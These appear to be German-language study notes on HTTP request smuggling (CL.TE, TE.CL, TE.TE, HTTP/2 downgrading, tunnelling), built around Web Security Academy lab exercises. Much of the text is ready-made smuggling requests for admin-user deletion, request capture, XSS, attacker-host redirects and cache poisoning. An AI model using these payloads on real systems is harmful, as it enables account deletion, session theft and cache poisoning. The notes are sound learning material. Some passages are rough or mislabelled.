HTTP request smuggling

HTTP request smuggling ist eine Technik, bei der der Weg, wie Webseiten mehrere Anfragen handhaben angegriffen wird. Dieser Angriff kann dafür genutzt werden, um Sicherheitskontrollen zu umgehen. Dabei wird HTTP request smuggling meistens bei HTTP/1 Anfragen ausgenutzt, kann aber auch mit HTTP/2 Anfragen ausgenutzt werden je nach der backend Architektur. Heutige Webanwendungen, haben mehrere HTTP Server zwischengeschaltet. Nutzer schicken eine Anfrage an einen frontend Server(manchmal als load balancer oder reverse proxy bezeichnet). Dieser Server schickt die Anfrage dann an einen oder mehrere backend Server. Dieser Architekturtyp kommt immer öfter vor und ist in manchen Fällen unausweichlich, wie in Cloud Architekturen. Wenn der frontend Server HTTP Anfragen weiterleitet, schickt er mehrere Anfragen über die gleiche Backend Verbindung. Dies ist viel effizienter und performanter. Die Frontend und Backend Systeme müssen sich über die Grenzen zwischen den Anfragen einig sind. Andernfalls können Angreifer mehrdeutige Anfragen senden die vom Frontend und Backend unterschiedlich interpretiert werden können.

Auftreten von HTTP request smuggling Schwachstellen

Die meisten Schwachstellen treten dadurch auf, dass es bei der HTTP/1 Spezifikation zwei unterschiedliche Wege gibt zu spezifizieren, wo eine Anfrage endet. Dies ist der Content-Length header und der Transfer-Encoding header. Der Content-Length header spezifiziert dabei die Länge in bytes. Der Transfer-Encoding header kann genutzt werden, um zu spezifizieren, dass der body chunked encoding benutzen soll. Dies bedeutet, dass es ein oder mehrere chunks gibt.

POST /search HTTP/1.1 
Host: normal-website.com 
Content-Type: application/x-www-form-urlencoded 
Transfer-Encoding: chunked 

b 
q=smuggling 
0

Die obige Anfrage zeigt beispielhaft eine Anfrage mit dem Transfer-Encoding header. In der ersten Zeile(6) wird dabei die größe in hexadezimal angegeben in diesem Fall b. Gefolgt von dem Inhalt und endend mit einer Null.

[!INFO] Information - Burp entpackt automatisch chunked encoding, um die Nachrichten einfacher lesen und editieren zu können - Browser nutzen chunked encoding normalerweise nicht in Anfragen, es wird meistens in Server Antworten gesehen

Der Standard besagt, dass wenn beide Header benutzt werden der Content-Length header ignoriert werden soll. Dies funktioniert wenn nur ein Server in der Kette ist. Allerdings bei längeren Ketten können die folgenden Probleme auftreten: - Manche Server unterstützen den Transfer-Encoding header nicht in der Anfrage - Wenn der header in irgendeiner Weise obfuskiert ist, kann der Server dazu gebracht werden, den Header zu ignorieren. Wird dies von dem ersten und letzten Server unterschiedlich behandelt kann dies ausgenutzt werden.

[!INFO] Unterstützung der HTTP Versionen Webseiten, welche HTTP/2 von anfang bis zum Ende unterstützen sind immun gegen request smuggling. Dies ist möglich, da die HTTP/2 Spezifikation einen eindeutigen Weg zur Angabe der Länge vorschreibt. Allerdings nutzen viele Webseiten HTTP/2 Frontend Server, aber setzen im Hintergrund eine Infrastruktur ein, welche nur HTTP/1 unterstützen. Dieser Prozess wird als HTTP downgrading bezeichnet. Für das nutzen von HTTP/2 Angriffen müssen diese erstmal in Burp eingestellt werden. You can do this from the Request attributes section of the Inspector panel.

Ausführen einer HTTP request smuggling Attacke

Für das ausführen einer HTTP request smuggling Attacke sollten die folgenden zwei Dinge deaktiviert werden: - Update Content-Length - Normalize HTTP/1 Line Endings - Set HTTP/1 in dem Inspektor Fenster Als nächstes muss der request smuggling Typ erkannt werden: In dem nächsten Beispiel wird ein sogenannter CL.TE request smuggling Angriff durchgeführt. Der folgende Screenshot zeigt, wie der CL.TE erkannt werden kann. Dadurch dass bei dem Frontend Server das Ende des chunked Payloads abgeschnitten wird, kommt es bei dem backend Server zu einem Timeout. Der Backend Server hält die Verbindung offen und wartet auf die nächste chunk größe in diesem Fall das X was beim frontend Server abgeschnitten wird. Dadurch timet der Backend Server aus.

Dabei evaluiert der erste Server die Content Length und der zweite den Transfer Encoding Header. Dabei wird der Request von dem ersten Server vor dem G abgeschnitten. Alles ab dem G wird als zweiter Request gewertet.

POST / HTTP/1.1
Content-Length: 5
Transfer-Encoding: chunked

0

G

CL.TL

Um eine CL.TL Attacke ausführen zu können ist es hilfreich, wenn die Content Länge automatisch geupdatet wird, da der komplette Request zum Backend kommen soll. Das Backend soll dann am Ende den zweiten Request abschneiden, wie es hier das Beispiel tut um einen Benutzer zu entfernen.

POST / HTTP/1.1
Host: 0a5600f80373fc6a81ee806200a100a6.web-security-academy.net
Cookie: session=b0Prjdl0NubI6VLBReBAgPweFyWDAvIr
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Sec-Gpc: 1
X-Pwnfox-Color: blue
Priority: u=0, i
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 152
Transfer-Encoding: chunked

0

POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
X-Ignore: x

x=

Wie hier zu sehen ist, wird der nachfolgende normale Request in den Body des geschmuggelten Requests geschrieben.

Differential Response

Um eine andere Response zu bekommen, kann der Request wie folgt modifiziert werden:

POST /search HTTP/1.1 
Host: vulnerable-website.com 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 49 
Transfer-Encoding: chunked 

e 
q=smuggling&x= 
0 

GET /404 HTTP/1.1 
Foo: x

Wird nun ein normaler Request geschickt wird die erste Zeile an das Foo: x angehängt. Dafür ist auch wichtig, dass hier kein newline folgen darf.

TE.CL

Wird auf dem ersten Server Transfer-Encoding evaluiiert und auf dem zweiten die Content-Length muss die Kontext Länge so gesetzt werden, dass der start des chunks abgeschnitten wird und der Inhalt dann als zweiter Request behandelt werden kann. Im Foto ist zu sehen, wie diese Attacke erkannt und detektiert werden kann. Im Foto ist zu sehen, dass die ungültige Chunk Größe ausgewertet wird. Das heißt sie wird nicht vom Content-Length Header abgeschnitten. Dies deutet auf die Nutzung vom Transfer-Encoding Header auf dem Frontend Server hin. Als nächstes wird geprüft, um was es sich auf dem Backend Server handelt. Hier wird nun ein Request erstellt, welcher leer ist und am Ende eine ungültige Chunk länge spezifiziert. Diese wird hier vom Frontend Server abgeschnitten, da der Server durch die zwei newlines denkt, dass der Payload hier endet. Der Backend Server erhält dadurch nur einen Payoad der Länge 5 und wartet bis zum timeout auf das sechste Byte da die Content-Length 6 ist. # prüfen Um dies nun auszunutzen kann der folgende Request genutzt werden. Wie zu sehen ist wird ein zweiter Request im chunk mitgeschickt. Nachdem dieser Request den Frontend Server passiert wird der erste Teil des Request Bodys in diesem Fall die 56\r\n im Backend abgeschnitten durch den Content-Length Header. Dadurch erhält der Backend Server einen zweiten Request welcher dann als eigenständiger Request ausgewertet wird.

POST / HTTP/1.1 \r\n
Host: YOUR-LAB-ID.web-security-academy.net \r\n
Content-Type: application/x-www-form-urlencoded \r\n
Content-length: 4\r\n
Transfer-Encoding: chunked \r\n
\r\n
56 \r\n
GPOST / HTTP/1.1 \r\n
Content-Type: application/x-www-form-urlencoded \r\n
Content-Length: 5\r\n
\r\n
0\r\n
\r\n

[!WARNING] Beachten Der Content-LengthHeader ist hier 5. Allerdings muss an die tatsächliche Länge um eins erhöht werden also in diesem Beispiel auf 6. Dies ist nötig da ein Byte des normalen Requests nach an diesen Request angehangen wird. Dadurch kann die Rückgabe des eingeschleusten Requests als Antwort des normalen Requests gesehen werden.

Die Maximale Größe die hier für die Content-Length genutzt werden kann ist die größe des Payloads des eingeschleusten Requests + die Größe des normalen Requests.

Schwachstelle mit einer differential response

Wie in der folgenden Abbildung zu sehen ist wird hier eine alternative Antwort erzeugt. Dazu wird ein Request geschmuggelt, welcher eine nicht vorhandene Ressource aufruft, um so einen 404 zu erzeugen. Dabei besteht dieser geschmuggelte Request aus zwei Zeilen, zum einen die Start Zeile, wo das Ziel definiert wird und zum anderen ein Header, der am Ende kein newline hat. Dies führt dazu, dass bei dem nächsten Normalen Request die Startzeile in diesen Header geschrieben wird und die Header dieses normalen Requests dann an den geschmuggelten angehängt werden. Da die Ressource nicht existiert kommt nun ein 404 zurück.

TE.TE

Bei diesem Angriff, wo beide male der Transfer-Encoding Header ausgewertet wird, kann die Auswertung des einen durch obfuskation verhindert werden. Um dies auszuführen folgen einige Beispiele: Wie hier zu sehen ist, akzeptiert der erste Server den Transfer-EncodingHeader und der zweite Server lehnt diesen Aufgrund seiner obfuskierten Weise ab und nutzt den Content-LengthHeader.

Umgehen von Frontend Sicherheitskontrollen

Bei Systemen kann es sein, dass nur das frontend System Sicherheitskontrollen durchführt, daher kann es nützlich sein, Requests zu schmuggeln, welche dann vom Backend Server nicht überprüft werden. Ein Beispiel für so einen Angriff ist zu sehen in [[#CL.TL]].

Aufdecken von Front-End Request neuschreiben

Frontend Server können die Requests verändern. Mögliche Veränderungen sind: - Terminieren der TLS Verbindung und hinzufügen von Headern, die das Protokoll und die genutzten Algorithmen beschreiben - Hinzufügen eines X-Forwarded-For Headers um dem Backend die IP-Adresse des Nutzers mitzuteilen. - Identifizierung der User ID anhand des Session tokens und hinzufügen eines Headers, welcher den Nutzer identifiziert. - Andere nützliche Informationen Manchmal führt das fehlen von Headern die vom Frontend hinzugefügt wurden, dazu dass die Requests vom Backend nicht oder nicht richtig bearbeitet werden. Häufig gibt es einen leichten Weg diese Header herauszufinden. Dazu müssen die folgenden Schritte befolgt werden: 1. Finden eines POST Requests, welcher den Wert eines Request Parameters in der Response reflektiert. 2. Verändern der Reihenfolge, so dass der reflektierte Parameter als letztes in der Response reflektiert wird. 3. Nun wird dieser Request geschmuggelt. Um dies nun aufzuzeigen nehmen wir an, dass die Applikation den email Parameter reflektiert:

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net

Dies resultiert in einer Response, die die folgende Zeile enthält:

<input id="email" value="wiener@normal-user.net" type="text">

Um dies nun auszunutzen kann ein Request wie der folgende genutzt werden:

POST / HTTP/1.1 
Host: vulnerable-website.com 
Content-Length: 130 
Transfer-Encoding: chunked 

0 

POST /login HTTP/1.1 
Host: vulnerable-website.com 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 100 

email=

Wird hiernach nun ein normaler Request geschickt wird dieser an den geschmuggelten Request angehangen. In diesem Fall hier alsa an den email Parameter im Body angehangen. Der Wert in der email ist dann nun der Inhalt des Requests. Der Content-Length header muss auf die richtige Länge angepasst werden. Ist dieser zu lang entsteht ein Timeout, zu kurz und es wird nicht der komplette Request reflektiert.

Umgehen von Client Authentifizierung

Webseiten authentifizieren sich gegenüber Nutzern mithilfe eines Zertifikates. Manche Seiten gehen einen Schritt weiter und verlangen vom Nutzer, dass dieser sich gegenüber dem Server auch mithilfe eines Zertifikates authentifizieren. In diesem Fall ist der "common name" oft etwas wie ein Nutzername. Der Frontend Server der den Client authentifiziert nimmt dann die relevanten Details des Zertifikates und gibt sie dann über nicht standardmäßige Header weiter. Beispielsweise wie X-SSL-CLIENT-CN: carlos. Da diese Header meistens vor dem Nutzer versteckt werden, traut der Backend Server diesen Headern meistens blind.

Requests anderer Nutzer abgreifen

Wenn es möglich ist Texte zu speichern können sensible Informationen von anderen Nutzern zu speichern. Dafür muss nun ein Request geschmuggelt werden, welcher im Body am Ende einen Parameter hat, welcher gespeichert wird. Dadurch ist es möglich den Request eines anderen Nutzers zu speichern und dadurch möglicherweise sensible Daten abzugreifen.

HTTP Request Smuggling zum exploiten von reflektiertem XSS

Gibt es die Schwachstellen in Kombination, ist es möglich Javascript bei einem Opfer auszuführen, wenn der Nutzer eine Anfrage an den Server schreibt. Das folgende Beispiel zeigt eine XSS Schwachstelle im User-Agent.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

redirect auf der Seite zu open redirect

Viele Seiten nutzen innerhalb der Seite einen redirect, um Nutzer auf andere Teile der Webseite weiterzuleiten. Dazu verwenden sie allerdings oftmals standardmäßig den Host Header um die Domain zu spezifizieren. Ein Angreifer kann dies ausnutzen, um den Nutzer auf eine vom Angreifer kontrollierte Webseite weiterzuleiten:

POST / HTTP/1.1 
Host: vulnerable-website.com 
Content-Length: 54 
Transfer-Encoding: chunked 

0 

GET /home HTTP/1.1 
Host: attacker-website.com 
Foo: X

Serverseitige Redirects zu open redirects

In manchen Fällen werden auch serverseitige redirects genommen. Dazu wird der Location header genutzt, um die weiterleitung zu spezifizieren. Dies kann auch ausgenutzt werden, wenn der Server eine Protokoll spezifische URL im Pfad erlaubt.

GET //attacker-website.com/example HTTP/1.1 
Host: vulnerable-website.com 

HTTP/1.1 301 Moved Permanently 
Location: //attacker-website.com/example/

Web Cache Poisoning

In einer Variation zu der vorherigen Attacke, kann es möglich sein eine Web Cache Poisoning Attacke durchzuführen. Dies ist allerdings nur möglich, falls das Frontend in irgendeiner Weise Caching durchführt.

POST / HTTP/1.1 
Host: vulnerable-website.com 
Content-Length: 59 
Transfer-Encoding: chunked 

0 

GET /home HTTP/1.1
Host: attacker-website.com 
Foo: XGET /static/include.js HTTP/1.1 Host: vulnerable-website.com

Web Cache deception

In einer anderen Variante der Attacke, ist es möglich eine web cache deception auszuführen. Dies ist ähnlich zu dem Web Cache Poisoning, allerdings mit einem anderen Zweck. Beim Web Cache deception werden sensitive Inhalte gespeichert, welche vom Angreifer dann abgerufen werden.

POST / HTTP/1.1
Host: vulnerable-website.com 
Content-Length: 43 
Transfer-Encoding: chunked 

0 

GET /private/messages HTTP/1.1
Foo: X

HTTP/2 Downgrading

[!INFO] Server zeigt HTTP/2 support nicht Es kann passieren, dass Server HTTP/2 unterstützen, dies aber durch Fehlkonfiguration nicht preisgeben. Dann kann mit Allow HTTP/2 ALPN Override HTTP/2 erzwungen werden.

Um Request Smuggling zu verhindern, steht die Länge am Anfang eines jeden Frames. Es gibt in der Theorie für einen Angreifer keine Möglichkeit für Request Smuggling, sofern vom Anfang bis zum Ende HTTP/2 genutzt wird. In der Praxis ist dies allerdings selten.

[!INFO] Darstellung in Burp HTTP/2 Nachrichten nutzen ein binärisches Protokoll und sind in mehrere Frames aufgeteilt. Zur besseren Lesbarkeit wurde das Format innerhalb von Burp angepasst.

H2.CL Schwachstelle

HTTP/2 hat keinen Content-Length header. Durch Downgrading zu HTTP/1 wird die Länge des HTTP/2 mechanismuses genommen und ein Content-Length header hinzugefügt. Allerdings kann zu HTTP/2 ein eigener Content-Length header hinzugefügt werden, dieser wird beim downgrading dann von manchen Server genutzt.

:method	POST
:path	/example
:authority	vulnerable-website.com
content-type	application/x-www-form-urlencoded
content-length	0
GET /admin HTTP/1.1 Host: vulnerable-website.com Content-Length: 10 x=1

H2.TE Schwachstellen

Chunked Encoding ist inkompatibel zu HTTP/2. Deswegen ist es nötig diesen Request aufzuteilen

:method	POST
:path	/example
:authority	vulnerable-website.com
content-type	application/x-www-form-urlencode
transfer-encoding	chunked
0 GET /admin HTTP/1.1 Host: vulnerable-website.com Foo: bar

Request Smuggling mit CRLF injections

Selbst wenn Webseiten den Content-Length header validieren oder den Transfer-Encoding header entfernen, kann es dank dem binärischen HTTP/2 Protokoll möglich sein, dies auszunutzen. Es kann so passieren, dass der Frontend Server \n nicht erkennt aber der Backend Server schon. Dies kann dazu führen, dass der zweite Header im folgenden Beispiel nicht erkannt wird: Foo: bar\nTransfer-Encoding: chunked Auch kann \r\n den gleichen Effekt haben.GET /nonexisting HTTP/1.1 Host: 0a9800c703a9cbceaf09a77f003000c9.web-security-academy.net

HTTP/2 Request Splitting

Eine alternative zum Schmuggeln eines Requests im Body eines POST Requests ist es einen in einem Header zu schmuggeln:

:method	GET
:path	/
:authority	vulnerable-website.com
foo	http<br> bar\r\n<br> \r\n<br> GET /admin HTTP/1.1\r\n<br> Host: vulnerable-website.com<br>
Dieser Angriff hat den Vorteil, dass hierbei kein POST Request benötigt wird. Dies ist auch hilfreich, wenn die Content-Length validiert wird, aber das Backend chunked encoding nicht unterstützt.
Beim Downgraden setzen manche Front-ends den Host Header, den sie aus dem :authorityHeader ableiten ans Ende Header Liste. In unserem Beispiel also nach dem fooHeader welcher den geschmuggelten Request enthält. Somit erhält der geschmuggelte Request zwei HostHeader. In diesem Fall ist es nötig, den Host Header so zu platzieren, dass er vom ersten Request genutzt wird.
# Response queue poisoning
Das response queue poisoning, ist eine starke form des request smugglings. Ein Frontend Server ordnet Antworten den falschen Anfragen zu. Dies wird erreicht, indem eine vollständige Anfrage eingeschmuggelt. Der Backend Server liefert daraufhin zwei antworten. Der Frontend Server hingegen nur eine Antwort. Die Auswirkung in diesem Fall ist nicht nur, dass der Angreifer sensitive Daten enthalten kann. Sondern ein kollateraler Schaden für andere Benutzer was dazu führen kann. Dass die Seite nicht mehr richtig benutzbar ist. Für eine erfolgreiche Artikel müssen die folgenden Bedingungen erfüllt sein:
- Die TCP Verbindung zwischen Frontend und Backend wird für mehrere Anfrage/Antwort Zyklen benutzt.
- Der Angreifer ist in der Lage eine komplette Anfrage zu schmuggeln, die eine eigene Antwort vom Backend-Server erhält.
- Die Attacke darf nicht in einem Fall enden, indem der Server die Verbindung schließt. Server schließen üblicherweise eine Verbindung, wenn sie eine ungültige Anfrage erhalten.
Für diesen Angriff wird eine Anfrage geschmuggelt. Die nächste Anfrage wird dann an den Body der geschmuggelten Anfrage angehangen. Der Server sieht hierdurch drei Anfragen. Die dritte Anfrage hierbei sind also ein paar übrig gebliebene Bytes.
Wenn eine Anfrage geschmuggelt wird, bei der die nächste Anfrage an den Body angehangen wird.
POST / HTTP/1.1 Host: vulnerable-website.com Content-Type: x-www-form-urlencoded Content-Length: 120 Transfer-Encoding: chunked 0 POST /example HTTP/1.1 Host: vulnerable-website.com Content-Type: x-www-form-urlencoded Content-Length: 25 x=GET / HTTP/1.1 Host: vulnerable-website.com
Die übrig gebliebenen Bytes sorgen allerdings für einen Fehler und können dazu führen, dass der Server die Verbindung schließt.
## Schmuggeln eines kompletten Requests
Statt eines prefixes kann auch ein kompletter Request geschmuggelt werden. Hierbei werden folgende Requests unverändert geschickt.
POST / HTTP/1.1\r\n Host: vulnerable-website.com\r\n Content-Type: x-www-form-urlencoded\r\n Content-Length: 61\r\n Transfer-Encoding: chunked\r\n \r\n 0\r\n \r\n GET /anything HTTP/1.1\r\n Host: vulnerable-website.com\r\n \r\n GET / HTTP/1.1\r\n \r\n GET / HTTP/1.1\r\n Host: vulnerable-website.com\r\n \r\n
> [!INFO] Tipp
> Server schließen Verbindungen nach einer Zeit. But oftmals liegt dies bei 100 Anfragen.
> Um die eigenen Anfragen von legitimen zu unterscheiden kann für alle Requests ein 404 erzwungen werden.

HTTP request tunnelling

Viele der Angriffe funktionieren nur, weil die Verbindung zwischen Frontend und Backend mehrere Anfragen nutzt. Request Tunneling ist für HTTP/1 und HTTP/2 möglich. Allerdings ist es schwieriger in reinen HTTP/1 Umgebungen zu detektieren. Aufgrund des persistenten Verfahrens wie keep-alivefunktioniert, klappt die Erkennung, ob es ein Request Smuggling gibt nicht besonders gut. Selbst wenn zwei Antworten zurück kommen. Kommt eine HTTP/2 Antwort zurück mit einer im body enthaltenen HTTP/1 Antwort, war das schmuggeln erfolgreich.

Es ist auch möglich das Frontend auszutricksen, um interne Header in den Body Parameter zu schreiben.

:method	POST
:path	/comment
:authority	vulnerable-website.com
content-type	application/x-www-form-urlencoded
foo
bar\r\n Content-Length: 200\r\n \r\n comment=

Blind request Tunneling

Manche Backend Server schicken nur die in der Antwort spezifizierte Länge an bytes zurück. Dies führt dazu, dass geschmuggelte Requests nicht zurück geschickt werden.

Blind Request Tunneling ist häufig schwierig zu exploiten. Um dies zu vereinfachen kann HEADgenutzt werden. Antworten auf HEADenthalten häufig eine Content-Length, auch wenn sie keinen Body enthalten. Oft ist dies die gleiche Länge, die ein GET request am gleichen Endpunkt hätte. Einige Frontend Server berücksichtigen dies nicht und versuchen die von der Content-Lengthspezifizierten Bytes einzulesen. Ist die Länge der Antwort der Anfrage kürzer als die getunnelte Antwort, können wichtige Informationen abgeschnitten werden. Dies kann mit ein paar Methoden angepasst werden: - abfragen eines Endpunktes mit dem HEADRequest.

Web Cache poisoning via HTTP/2 request tunnelling

Auch wenn request tunneling viel eingeschränkter ist kann es benutzt werden, um schwere Schwachstellen auszunutzen. Beispielsweise kann das request smuggling genutzt werden um eine extra starke Form des web cache poisoning auszunutzen.

Browser basiertes request smuggling

Backend Server können manchmal ausgetrickst werden, sodass sie den Content-Length Header ignorieren. Dies führt dazu, dass request smuggling Attacken nicht auf den Transfer-Encoding oder HTTP/2 Header abhängen.

[!INFO] INFO pausenbasierte Desync Angriffe Manchmal können Desync Schwachstellen nur entdeckt werden, durch das Senden des Headers, ohne Bodys.

TODO

https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn https://portswigger.net/research/http2 https://portswigger.net/research/browser-powered-desync-attacks